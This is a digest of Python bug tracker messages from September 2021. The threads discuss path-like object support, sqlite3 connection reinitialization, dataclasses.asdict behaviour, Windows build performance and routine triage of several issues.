+        thing = __import__(import_path)
         return getattr(thing, comp)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:26:31 2021
From: report at bugs.python.org (David Mertz)
Date: Tue, 07 Sep 2021 19:26:31 +0000
Subject: [issue45133] Open functions in dbm submodule should support path-like
 objects
Message-ID: <1631042791.04.0.276454650964.issue45133@roundup.psfhosted.org>


New submission from David Mertz :

Evan Greenup via Python-ideas
	
Currently, in Python 3.9, `dbm.open()`, `dbm.gnu.open()` and `dbm.ndbm.open()` doesn't support path-like object, class defined in `pathlib`.

It would be nice to add support with it.

----------
components: Library (Lib), Tests
messages: 401334
nosy: DavidMertz
priority: normal
severity: normal
status: open
title: Open functions in dbm submodule should support path-like objects
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:27:25 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:27:25 +0000
Subject: [issue38936] fatal error during installation 0x80070643 during python
 installation
In-Reply-To: <1574961093.76.0.301097731298.issue38936@roundup.psfhosted.org>
Message-ID: <1631042845.31.0.836218502679.issue38936@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as there isn't enough information to do anything about this and there was not response from the OP to followup questions.

----------
nosy: +iritkatriel
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:30:04 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:30:04 +0000
Subject: [issue41501] 0x80070643, can't install any version
In-Reply-To: <1596804877.84.0.108317920754.issue41501@roundup.psfhosted.org>
Message-ID: <1631043004.35.0.295618036949.issue41501@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as there isn't enough information to do anything about this and there was not response from the OP to followup questions.

----------
nosy: +iritkatriel
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:30:58 2021
From: report at bugs.python.org (David Mertz)
Date: Tue, 07 Sep 2021 19:30:58 +0000
Subject: [issue45133] Open functions in dbm submodule should support path-like
 objects
In-Reply-To: <1631042791.04.0.276454650964.issue45133@roundup.psfhosted.org>
Message-ID: <1631043058.47.0.66738468493.issue45133@roundup.psfhosted.org>


David Mertz  added the comment:

Oops... I missed prior closely related or identical issue at: https://bugs.python.org/issue40563

----------
resolution:  -> duplicate

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:35:35 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:35:35 +0000
Subject: [issue44259] lib2to3 does not accept "exec" as name
In-Reply-To: <1622197167.25.0.926188011866.issue44259@roundup.psfhosted.org>
Message-ID: <1631043335.14.0.441427894069.issue44259@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type as crash typically refers to segfault and not an exception.

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:38:22 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:38:22 +0000
Subject: [issue39751] multiprocessing breaks when payload fails to unpickle
In-Reply-To: <1582648620.1.0.266788942102.issue39751@roundup.psfhosted.org>
Message-ID: <1631043502.55.0.739168618911.issue39751@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type since crash typically means segfault and not an exception.

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:41:21 2021
From: report at bugs.python.org (Irit Katriel)
Date: Tue, 07 Sep 2021 19:41:21 +0000
Subject: [issue42547] argparse: add_argument(... nargs='+',
 metavar=) does not work with positional arguments
In-Reply-To: <1606943750.61.0.237402460323.issue42547@roundup.psfhosted.org>
Message-ID: <1631043681.76.0.79670920864.issue42547@roundup.psfhosted.org>


Irit Katriel  added the comment:

Changing type since crash typically means segfault and not an exception.

----------
nosy: +iritkatriel
type: crash -> behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 15:52:26 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 19:52:26 +0000
Subject: [issue43075] CVE-2021-3733: ReDoS in urllib.request
In-Reply-To: <1611994306.46.0.333529770265.issue43075@roundup.psfhosted.org>
Message-ID: <1631044346.87.0.0866694604353.issue43075@roundup.psfhosted.org>


Change by STINNER Victor :


----------
title: ReDoS in urllib.request -> CVE-2021-3733: ReDoS in urllib.request

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 16:12:23 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 20:12:23 +0000
Subject: [issue43075] CVE-2021-3733: ReDoS in urllib.request
In-Reply-To: <1611994306.46.0.333529770265.issue43075@roundup.psfhosted.org>
Message-ID: <1631045543.27.0.81274081604.issue43075@roundup.psfhosted.org>


STINNER Victor  added the comment:

I created https://python-security.readthedocs.io/vuln/urllib-basic-auth-regex2.html to track this vulnerability.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 16:13:31 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 20:13:31 +0000
Subject: [issue44987] Speed up unicode normalization of ASCII strings
In-Reply-To: <1629770872.82.0.815585920926.issue44987@roundup.psfhosted.org>
Message-ID: <1631045611.92.0.183105026449.issue44987@roundup.psfhosted.org>


STINNER Victor  added the comment:

Well, someone should write a PR for it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 16:14:54 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 07 Sep 2021 20:14:54 +0000
Subject: [issue39562] Asynchronous comprehensions don't work in asyncio REPL
In-Reply-To: <1580923705.71.0.29233909242.issue39562@roundup.psfhosted.org>
Message-ID: <1631045694.08.0.619420332621.issue39562@roundup.psfhosted.org>


Change by STINNER Victor :


----------
nosy:  -vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 16:44:24 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 07 Sep 2021 20:44:24 +0000
Subject: [issue45130] shlex.join() does not accept pathlib.Path objects
In-Reply-To: <1631032053.23.0.444664437221.issue45130@roundup.psfhosted.org>
Message-ID: <1631047464.43.0.368490499855.issue45130@roundup.psfhosted.org>


Eric V. Smith  added the comment:

My point is that shlex.join() shouldn?t convert any arguments to strings, no matter their type. Just like str.join() doesn?t, and for the same reason. 

Within the last few years there was a discussion on making str.join() auto-convert it?s arguments to str, and we decided not to, because it would mask too many bugs. I believe the same argument applies to shlex.join(). Path objects aren?t special enough to make an exception. 

There?s a proposal somewhere to also call str() on Path arguments to subprocess.run(). I?m opposed to that for the same reasons.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 16:47:37 2021
From: report at bugs.python.org (Richard)
Date: Tue, 07 Sep 2021 20:47:37 +0000
Subject: [issue45130] shlex.join() does not accept pathlib.Path objects
In-Reply-To: <1631032053.23.0.444664437221.issue45130@roundup.psfhosted.org>
Message-ID: <1631047657.56.0.372761320828.issue45130@roundup.psfhosted.org>


Richard  added the comment:

IMO comparing shlex.join() to str.join() is a mistake. Comparing it to subprocess.run() is more appropriate.

What do you mean by "proposal"? subprocess.run() already converts Path arguments to str since Python 3.6 (though IIRC this was broken on Windows until 3.7 or so). It indeed does not convert int arguments, but like I said that's irrelevant here, you're the one who brought it up.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 17:04:04 2021
From: report at bugs.python.org (Eric V. Smith)
Date: Tue, 07 Sep 2021 21:04:04 +0000
Subject: [issue45130] shlex.join() does not accept pathlib.Path objects
In-Reply-To: <1631032053.23.0.444664437221.issue45130@roundup.psfhosted.org>
Message-ID: <1631048644.89.0.843170300346.issue45130@roundup.psfhosted.org>


Eric V. Smith  added the comment:

I was using str.join() as an analogy. I apologize if that was confusing.

I'll state this as clearly as I can: I don't think shlex.join() should automatically convert any arguments to str, not even those that are Path's.

Nothing is going to be solved by having a discussion on the bug tracker. A discussion on python-ideas would be the appropriate place to take this. If a consensus is reached there to add this feature, then this feature request can be used for its implementation.

It's entirely possible people there might agree with the feature request, but I'd argue against it. One thing going for your proposal is subprocess.run(). I was thinking issue 38670 applied there, but I guess not.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 17:21:45 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 07 Sep 2021 21:21:45 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631049705.95.0.929016881911.issue45126@roundup.psfhosted.org>


Change by Erlend E. Aasland :


----------
keywords: +patch
pull_requests: +26648
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28227

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 17:57:07 2021
From: report at bugs.python.org (Steve Dower)
Date: Tue, 07 Sep 2021 21:57:07 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631051827.01.0.327723924982.issue45116@roundup.psfhosted.org>


Steve Dower  added the comment:

> I'm not sure if PGO builds are reproducible, since there is a training step which requires to run a non-deterministic workload (the Python test suite which is somehow randomized by I/O timings and other stuffs).

I'm 99% sure it's a tracing PGO rather than sampling, so provided everything runs in the same order and follows the same codepaths, wall-clock timings shouldn't have a significant effect.

Without looking at the generated code, it may be more effective to try and force the functions called from the macro to never be inlined. The optimiser may be missing that the calls are uncommon, and trying to inline them first, then deciding that the whole merged function is too big to inline in places where it would be useful.

There's also no particular reason we need to use these tests as the profile, it's just that nobody has taken the time to come up with anything better. I'd rather see us invest time in generating a good profile rather than trying to hand-optimise inlining. (Though the test suite is good in many ways, because it makes sure all the extension modules are covered. We definitely want as close to full code coverage as we can get, at least for happy paths, but may need more eval loop in the profile if that's what needs help.)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 18:10:30 2021
From: report at bugs.python.org (Steve Dower)
Date: Tue, 07 Sep 2021 22:10:30 +0000
Subject: [issue39570] Python 3.7.3 Crash on msilib actions
In-Reply-To: <1581006397.33.0.114674633699.issue39570@roundup.psfhosted.org>
Message-ID: <1631052630.61.0.204813484392.issue39570@roundup.psfhosted.org>


Steve Dower  added the comment:

Yep, this is malware. Don't download the file.

If this is a CPython issue that you want fixed, please provide a script to generate the MSI.

----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 18:46:53 2021
From: report at bugs.python.org (Gene Wood)
Date: Tue, 07 Sep 2021 22:46:53 +0000
Subject: [issue40563] Support pathlike objects on dbm/shelve
In-Reply-To: <1588949755.54.0.0616905460961.issue40563@roundup.psfhosted.org>
Message-ID: <1631054813.21.0.564617980278.issue40563@roundup.psfhosted.org>


Gene Wood  added the comment:

@DahlitzFlorian it looks like a PR was submitted August of last year : https://github.com/python/cpython/pull/21849

----------
nosy: +gene_wood

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 19:52:45 2021
From: report at bugs.python.org (Mark)
Date: Tue, 07 Sep 2021 23:52:45 +0000
Subject: [issue45134] Protocol dealloc not called if Server is closed
Message-ID: <1631058765.71.0.794565950389.issue45134@roundup.psfhosted.org>


New submission from Mark :

If I create_server

    server_coro = loop.create_server( lambda: self._protocol_factory(self), sock=sock, ssl=ssl)
    server = loop.run_until_complete(server_coro)

Then connect and disconnect a client the protocol connection lost and dealloc are called.

If however I close the server with existing connections then protocol dealloc is never called and I leak memory due to a malloc in my protocol.c init.

      server.close()
      loop.run_until_complete(server.wait_closed())

----------
components: asyncio
messages: 401349
nosy: MarkReedZ, asvetlov, yselivanov
priority: normal
severity: normal
status: open
title: Protocol dealloc not called if Server is closed
type: resource usage
versions: Python 3.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 20:49:22 2021
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 08 Sep 2021 00:49:22 +0000
Subject: [issue40506] add support for os.Pathlike filenames in
 zipfile.ZipFile.writestr
In-Reply-To: <1588644723.41.0.516863649113.issue40506@roundup.psfhosted.org>
Message-ID: <1631062162.39.0.418346147516.issue40506@roundup.psfhosted.org>


Change by Ethan Furman :


----------
nosy: +ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 20:49:54 2021
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 08 Sep 2021 00:49:54 +0000
Subject: [issue32562] Support fspath protocol in AF_UNIX sockaddr resolution
In-Reply-To: <1516069397.77.0.467229070634.issue32562@psf.upfronthosting.co.za>
Message-ID: <1631062194.76.0.879567470183.issue32562@roundup.psfhosted.org>


Change by Ethan Furman :


----------
nosy: +ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 20:54:18 2021
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 08 Sep 2021 00:54:18 +0000
Subject: [issue41026] mailbox does not support new Path object
In-Reply-To: <1592498748.35.0.391421735484.issue41026@roundup.psfhosted.org>
Message-ID: <1631062458.24.0.0663328876959.issue41026@roundup.psfhosted.org>


Ethan Furman  added the comment:

The problem with using `str()` on a path argument is that the argument may not be a str, nor a pathlib object, but `str()` will still create a string out of it, leading to difficult bugs.

The documentation for pathlib also predates the addition of `os.fspath()`.

----------
nosy: +ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 20:54:47 2021
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 08 Sep 2021 00:54:47 +0000
Subject: [issue40563] Support pathlike objects on dbm/shelve
In-Reply-To: <1588949755.54.0.0616905460961.issue40563@roundup.psfhosted.org>
Message-ID: <1631062487.11.0.460796425541.issue40563@roundup.psfhosted.org>


Change by Ethan Furman :


----------
nosy: +ethan.furman

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Tue Sep  7 20:55:10 2021
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 08 Sep 2021 00:55:10 +0000
Subject: [issue45133] Open functions in dbm submodule should support path-like
 objects
In-Reply-To: <1631042791.04.0.276454650964.issue45133@roundup.psfhosted.org>
Message-ID: <1631062510.08.0.0484420700147.issue45133@roundup.psfhosted.org>


Change by Ethan Furman :


----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 01:14:08 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Wed, 08 Sep 2021 05:14:08 +0000
Subject: [issue44340] Add support for building cpython with clang thin lto
In-Reply-To: <1623105491.02.0.949113840673.issue44340@roundup.psfhosted.org>
Message-ID: <1631078048.93.0.903041248927.issue44340@roundup.psfhosted.org>


Change by Dong-hee Na :


----------
pull_requests: +26649
pull_request: https://github.com/python/cpython/pull/28229

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 02:29:14 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 08 Sep 2021 06:29:14 +0000
Subject: [issue20499] Rounding errors with statistics.variance
In-Reply-To: <1391431579.33.0.244887922603.issue20499@psf.upfronthosting.co.za>
Message-ID: <1631082554.67.0.862082221464.issue20499@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
nosy: +rhettinger
nosy_count: 4.0 -> 5.0
pull_requests: +26650
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28230

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 03:41:18 2021
From: report at bugs.python.org (uosiu)
Date: Wed, 08 Sep 2021 07:41:18 +0000
Subject: [issue45012] DirEntry.stat method should release GIL
In-Reply-To: <1629978813.83.0.528049638414.issue45012@roundup.psfhosted.org>
Message-ID: <1631086878.7.0.0340702515281.issue45012@roundup.psfhosted.org>


uosiu  added the comment:

Bardzo prosz? :)

This fix is quite important for us. We would like to start using this fix in our product. Is there something I could do to backport it to 3.9?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 03:45:28 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 08 Sep 2021 07:45:28 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631087128.44.0.496513503658.issue45126@roundup.psfhosted.org>


Petr Viktorin  added the comment:

This is a minefield. If anyone has a use case for it, I'd *love* to hear it, but to me it seems that proper reinit support will be a lot of work (now and in future maintenance) for no gain. You can always create a new connection object.

Consider instead deprecating reinitialization, documenting it as unpredictable & removing it in Python 3.13.


Here's another thing to test:
```python
import sqlite3

conn = sqlite3.connect(':memory:')
cursor = conn.execute('CREATE TABLE foo (bar)')

try:
    conn.__init__('/bad-file/')
except sqlite3.OperationalError:
    pass

cursor.execute('INSERT INTO foo (bar) VALUES (1), (2), (3), (4)')
```

And here's the kind of behavior that should be specified (and tested), and might even change to make more sense:
```python
import sqlite3

conn = sqlite3.connect(':memory:')
conn.text_factory=bytes
conn.row_factory = sqlite3.Row
cursor = conn.execute('CREATE TABLE foo (bar)')
cursor.execute('INSERT INTO foo (bar) VALUES ("1"), ("2"), ("3"), ("4")')
cursor.execute('SELECT bar FROM foo')

for row in cursor:
    print(row, list(row))
    break

conn.__init__(':memory:')
conn.execute('CREATE TABLE foo (bar)')
conn.execute('INSERT INTO foo (bar) VALUES ("a"), ("b"), ("c"), ("d")')

# Currently this uses the old database, old row_factory, but new text_factory"
for row in cursor:
    print(row, list(row))
```

We should also do a review of all places `connection` is used from Cursor, Statement, etc. to ensure everything continue to work with a different `db`. This can be done (and maybe you already did), but I'm also worried how well future maintainers can keep reinitialization in mind.

And all this will also need to be done for Cursor.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 03:56:00 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 08 Sep 2021 07:56:00 +0000
Subject: [issue45089] [sqlite3] the trace callback does not raise exceptions
 on error
In-Reply-To: <1630615346.0.0.296018695296.issue45089@roundup.psfhosted.org>
Message-ID: <1631087760.33.0.612494666933.issue45089@roundup.psfhosted.org>


Petr Viktorin  added the comment:

It *would* be possible to improve the documentation, though.
Say that it is only meant for debugging, document that exceptions are not propagated, and mention enable_callback_tracebacks.

----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python, petr.viktorin
status: closed -> open

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 04:16:50 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 08:16:50 +0000
Subject: [issue45089] [sqlite3] the trace callback does not raise exceptions
 on error
In-Reply-To: <1630615346.0.0.296018695296.issue45089@roundup.psfhosted.org>
Message-ID: <1631089010.59.0.412224823015.issue45089@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

> It *would* be possible to improve the documentation, though.

+1

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 04:26:14 2021
From: report at bugs.python.org (miss-islington)
Date: Wed, 08 Sep 2021 08:26:14 +0000
Subject: [issue38820] Make Python compatible with OpenSSL 3.0.0
In-Reply-To: <1573916819.64.0.690362352385.issue38820@roundup.psfhosted.org>
Message-ID: <1631089574.02.0.982377869396.issue38820@roundup.psfhosted.org>


miss-islington  added the comment:


New changeset 2fe15dbaad651707fb198c3477b7db77ab89ade0 by Miss Islington (bot) in branch '3.10':
bpo-38820: Test with OpenSSL 3.0.0 final (GH-28205)
https://github.com/python/cpython/commit/2fe15dbaad651707fb198c3477b7db77ab89ade0


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 04:29:45 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 08:29:45 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631089785.77.0.463794086086.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

I modified your second example slightly:

```
import sqlite3

conn = sqlite3.connect(":memory:")
conn.text_factory=bytes
conn.row_factory = sqlite3.Row
cursor = conn.execute("CREATE TABLE foo (bar)")
numbers = range(4)
cursor.executemany("INSERT INTO foo (bar) VALUES (?)", ((str(v),) for v in numbers))
cursor.execute("SELECT bar FROM foo")

print("first fetch")
for row in cursor.fetchmany(2):
    print(type(row[0]))

conn.__init__(":memory:")
conn.execute("CREATE TABLE foo (bar)")
letters = "a", "b", "c", "d"
conn.executemany("INSERT INTO foo (bar) VALUES (?)", ((v,) for v in letters))

# Currently this uses the old database, old row_factory, but new text_factory"
print("second fetch")
for row in cursor.fetchall():
    print(type(row[0]))
```

Here's the output:
first fetch


second fetch



----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 04:33:48 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 08:33:48 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631090028.01.0.639048997876.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

Note: I ran that with PR 28227.


OTOH: I do agree that there's a lot of pitfalls here, especially in the future. In the long run, it is probably best to deprecate reinit, and disable it in Python 3.13.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 04:36:07 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 08:36:07 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631090167.12.0.640952049988.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

Modifying the loops to also print the values:

first fetch
b'0' 
b'1' 
second fetch
2 
3 

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:06:15 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 09:06:15 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631091975.99.0.224773104995.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

FYI, I've expanded the reinit tests and added a deprecation warning to the PR.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:18:41 2021
From: report at bugs.python.org (Thomas Fischbacher)
Date: Wed, 08 Sep 2021 09:18:41 +0000
Subject: [issue45135] dataclasses.asdict() incorrectly calls __deepcopy__() on
 values.
Message-ID: <1631092721.82.0.0802849147398.issue45135@roundup.psfhosted.org>


New submission from Thomas Fischbacher :

This problem may also be the issue underlying some other dataclasses.asdict() bugs:

https://bugs.python.org/issue?%40columns=id%2Cactivity%2Ctitle%2Ccreator%2Cassignee%2Cstatus%2Ctype&%40sort=-activity&%40filter=status&%40action=searchid&ignore=file%3Acontent&%40search_text=dataclasses.asdict&submit=search&status=-1%2C1%2C2%2C3

The documentation of dataclasses.asdict() states:

https://docs.python.org/3/library/dataclasses.html#dataclasses.asdict

===
Converts the dataclass instance to a dict (by using the factory function dict_factory). Each dataclass is converted to a dict of its fields, as name: value pairs. dataclasses, dicts, lists, and tuples are recursed into. For example: (...)
===

Given this documentation, the expectation about behavior is roughly:

def _dataclasses_asdict_equivalent_helper(obj, dict_factory=dict):
  rec = lambda x: (
    _dataclasses_asdict_equivalent_helper(x,
                                          dict_factory=dict_factory))
  if isinstance(obj, (list, tuple)):
    return type(obj)(rec(x) for x in obj)
  elif isinstance(obj, dict):
    return type(obj)((k, rec(v) for k, v in obj.items())
  # Otherwise, we are looking at a dataclass-instance.
  for field in type(obj).__dataclass_fields__:
    val = obj.__getattribute__[field]
    if (hasattr(type(obj), '__dataclass_fields__')):
      # ^ approx check for "is this a dataclass instance"?
      # Not 100% correct. For illustration only.
      ret[field] = rec(val)
    ret[field] = val
  return ret

def dataclasses_asdict_equivalent(x, dict_factory=dict):
   if not hasattr(type(x), '__dataclass_fields__'):
      raise ValueError(f'Not a dataclass: {x!r}')
   return _dataclasses_asdict_equivalent(x, dict_factory=dict_factory)


In particular, field-values that are neither dict, list, tuple, or dataclass-instances are expected to be used identically.

What actually happens however is that .asdict() DOES call __deepcopy__ on field values it has no business inspecting:

===
import dataclasses


@dataclasses.dataclass
class Demo:
  field_a: object

class Obj:
   def __init__(self, x):
    self._x = x

   def __deepcopy__(self, *args):
     raise ValueError('BOOM!')


###
d1 = Demo(field_a=Obj([1,2,3]))
dd = dataclasses.asdict(d1)

# ...Execution does run into a "BOOM!" ValueError.
===

Apart from this: It would be very useful if dataclasses.asdict() came with a recurse={boolish} parameter with which one can turn off recursive translation of value-objects.

----------
components: Library (Lib)
messages: 401360
nosy: tfish2
priority: normal
severity: normal
status: open
title: dataclasses.asdict() incorrectly calls __deepcopy__() on values.
type: behavior

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:24:50 2021
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Wed, 08 Sep 2021 09:24:50 +0000
Subject: [issue45135] dataclasses.asdict() incorrectly calls __deepcopy__() on
 values.
In-Reply-To: <1631092721.82.0.0802849147398.issue45135@roundup.psfhosted.org>
Message-ID: <1631093090.33.0.985699041612.issue45135@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan :


----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:26:17 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 08 Sep 2021 09:26:17 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631093177.53.0.308908084331.issue45126@roundup.psfhosted.org>


Petr Viktorin  added the comment:

I think a deprecation should be discussed a bit more widely than on bpo, so I opened a thread here: https://discuss.python.org/t/deprecating-sqlite-object-reinitialization/10503

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:26:52 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 09:26:52 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631093212.24.0.531923373555.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

Great, thanks.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:31:56 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 08 Sep 2021 09:31:56 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631093516.11.0.760625445939.issue45126@roundup.psfhosted.org>


Petr Viktorin  added the comment:

As for the effort to fix this:

If we deprecate this, there should be no new users of it in 3.11+.

If we deprecate and also fix this, and we happen to introduce bugs or behavior changes, then people that use it now will need to:
1) adapt to the new behavior
2) find a different way to do things (before 3.13)

If we deprecate but keep the buggy behavior it as it is, (1) is not needed. Less work for both us and the users.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:48:24 2021
From: report at bugs.python.org (Ma Lin)
Date: Wed, 08 Sep 2021 09:48:24 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1631094504.96.0.36359356118.issue45116@roundup.psfhosted.org>


Ma Lin  added the comment:

This article briefly introduces the inlining decisions in MSVC. 
https://devblogs.microsoft.com/cppblog/inlining-decisions-in-visual-studio/

----------
nosy: +malin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 05:59:21 2021
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 08 Sep 2021 09:59:21 +0000
Subject: [issue39573] [C API] Make PyObject an opaque structure in the limited
 C API
In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org>
Message-ID: <1631095161.09.0.582722148152.issue39573@roundup.psfhosted.org>


STINNER Victor  added the comment:


New changeset cb15afcccffc6c42cbfb7456ce8db89cd2f77512 by Victor Stinner in branch 'main':
bpo-39573: Py_TYPE becomes a static inline function (GH-28128)
https://github.com/python/cpython/commit/cb15afcccffc6c42cbfb7456ce8db89cd2f77512


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Sep  8 06:00:53 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Wed, 08 Sep 2021 10:00:53 +0000
Subject: [issue45126] [sqlite3] cleanup and harden connection init
In-Reply-To: <1631015162.08.0.638095834379.issue45126@roundup.psfhosted.org>
Message-ID: <1631095253.17.0.726435692023.issue45126@roundup.psfhosted.org>


Erlend E. Aasland  added the comment:

> If we deprecate but keep the buggy behavior it as it is, (1) is not needed. Less work for both us and the users.

Indeed.

There's still a ref leak I'd like to take care of, though: if the first audit fails, database_obj leaks.

----------

_______________________________________
Python tracker 

_______________________________________

